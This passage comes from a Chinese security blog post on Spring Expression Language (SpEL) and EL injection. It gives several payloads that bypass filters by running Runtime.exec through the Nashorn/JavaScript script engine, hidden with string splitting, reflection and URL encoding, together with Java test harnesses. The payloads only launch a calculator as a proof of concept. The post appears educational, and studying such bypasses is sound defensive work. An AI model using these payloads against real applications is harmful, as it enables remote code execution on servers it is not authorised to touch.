可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]，可以通过下面代码知道。

ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
    System.out.printf("Names: %s%n", factory.getNames());
}}

那么 payload 也就显而易见

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
 
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
 
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
 
// JavaScript引擎+URL编码
// 其中URL编码内容为：
// 不加最后的getInputStream()也行，因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

nashorn 作 Engine

1	`String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" + "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")";`

public static void main(String[] args) throws ScriptException {
        String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" +  "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")";
    	ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(spel);
        StandardEvaluationContext context = new StandardEvaluationContext();
        expression.getValue(context);
}

javascript 作 Engine

1	`new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\")`

public static void main(String[] args) throws ScriptException {
        String spel = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(spel);
        StandardEvaluationContext context = new StandardEvaluationContext();
        expression.getValue(context);
}

参考

Java 之 EL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)

Java 之 SpEL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)

由浅入深SpEL表达式注入漏洞 - Ruilin (rui0.cn)

表达式注入

http://example.com/2024/07/09/表达式注入/

作者

cmisl

发布于

2024年7月9日

许可协议

C3P0 链上一篇

Fastjson系列下一篇

表达式注入

EL 表达式注入

主要特点和用途

示例

基础语法

获取变量

示例

操作符

隐式对象

1. 作用域相关的隐式对象

2. 请求相关的隐式对象

3. 其他隐式对象

示例

函数

定义EL函数

实现EL函数

在JSP中使用EL函数

禁用/启用EL表达式

全局禁用EL表达式

单个文件禁用EL表达式

EL注入漏洞

通用 PoC

绕过

基础 EXP

利用 ScriptEngine 调用 JS 引擎绕过

POC解释

总结

利用 Unicode 编码绕过

利用八进制编码绕过

SPEL表达式注入

介绍

SpEL 表达式基础

SPEL定界符

SPEL表达式类型

字面量表达式

属性表达式

方法表达式

操作符表达式

类型表达式

SpEL 用法

恶意指令执行

创建类实例

SpEL运算

基本运算

算数运算

关系运算

逻辑运算

条件运算

正则表达式

集合操作

1. 访问集合元素

2. 映射操作

3. 集合过滤

4. 集合投影

5. 集合排序

6. 集合聚合

7. 集合转换

完整代码参考

自定义方法

SPEL注入漏洞

原理

POC

bypass

JavaScript Engine Bypass

参考